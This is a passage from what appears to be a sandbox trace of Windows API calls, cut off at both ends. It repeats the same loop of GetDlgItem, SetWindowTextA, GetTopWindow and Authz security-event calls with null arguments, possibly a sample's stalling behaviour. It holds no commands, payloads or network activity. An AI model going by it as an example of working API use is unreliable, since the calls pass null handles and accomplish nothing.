nIDDlgItem=5) returned 0x0 [0025.589] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.589] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.589] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.589] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.589] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.589] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.589] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.589] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.589] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.589] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.589] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.589] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.589] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.589] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.589] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.589] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.589] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.589] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.589] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.589] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.589] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.589] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.589] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.589] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.590] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.590] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.590] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.590] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.590] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.590] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.590] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.590] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.590] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.590] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.590] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.590] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.590] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.590] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.590] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.590] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.590] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.590] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.590] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.590] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.590] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.590] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.590] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.590] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.590] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.590] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.590] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.590] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.590] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.590] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.590] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.590] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.590] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.590] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.590] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.590] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.590] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.590] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.590] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.590] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.590] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.591] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.591] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.591] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.591] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.591] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.591] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.591] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.591] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.591] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.591] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.591] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.591] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.591] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.591] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.591] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.591] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.591] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.591] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.591] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.591] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.591] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.591] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.591] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.591] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.591] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.591] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.591] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.591] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.591] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.591] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.591] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.591] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.591] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.591] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.591] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.591] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.591] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.591] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.591] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.591] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.591] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.592] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.592] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.592] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.592] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.592] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.592] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.592] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.592] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.592] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.592] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.592] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.592] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.592] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.592] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.592] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.592] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.592] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.592] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.592] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.592] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.592] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.592] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.592] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.592] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.592] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.592] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.592] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.592] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.592] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.592] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.592] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.592] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.592] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.592] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.592] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.592] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.592] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.592] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.592] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.592] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.592] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.592] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.593] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.593] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.593] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.593] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.593] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.593] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.593] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.593] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.593] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.593] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.593] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.593] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.593] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.593] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.593] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.593] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.593] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.593] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.593] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.593] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.593] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.593] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.593] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.593] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.593] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.593] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.593] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.593] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.593] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.593] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.593] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.593] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.593] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.593] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.593] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.593] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.593] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.593] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.593] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.593] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.594] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.594] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.594] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.594] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.594] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.594] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.594] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.594] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.594] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.594] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.594] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.594] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.594] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.594] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.594] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.594] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.594] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.594] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.594] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.594] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.594] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.594] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.594] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.594] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.594] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.594] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.595] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.595] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.595] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.595] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.595] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.595] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.595] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.595] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.595] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.595] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.595] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.595] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.595] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.595] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.595] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.595] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.595] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.595] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.595] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.595] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.595] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.595] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.595] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.595] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.595] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.595] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.595] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.595] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.595] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.595] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.595] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.595] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.595] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.595] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.595] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.595] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.595] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.595] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.595] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.595] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.596] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.596] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.596] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.596] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.596] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.596] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.596] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.596] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.596] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.596] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.596] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.596] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.596] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.596] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.596] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.596] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.596] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.596] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.596] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.596] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.596] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.596] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.596] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.596] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.596] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.596] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.596] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.596] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.596] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, 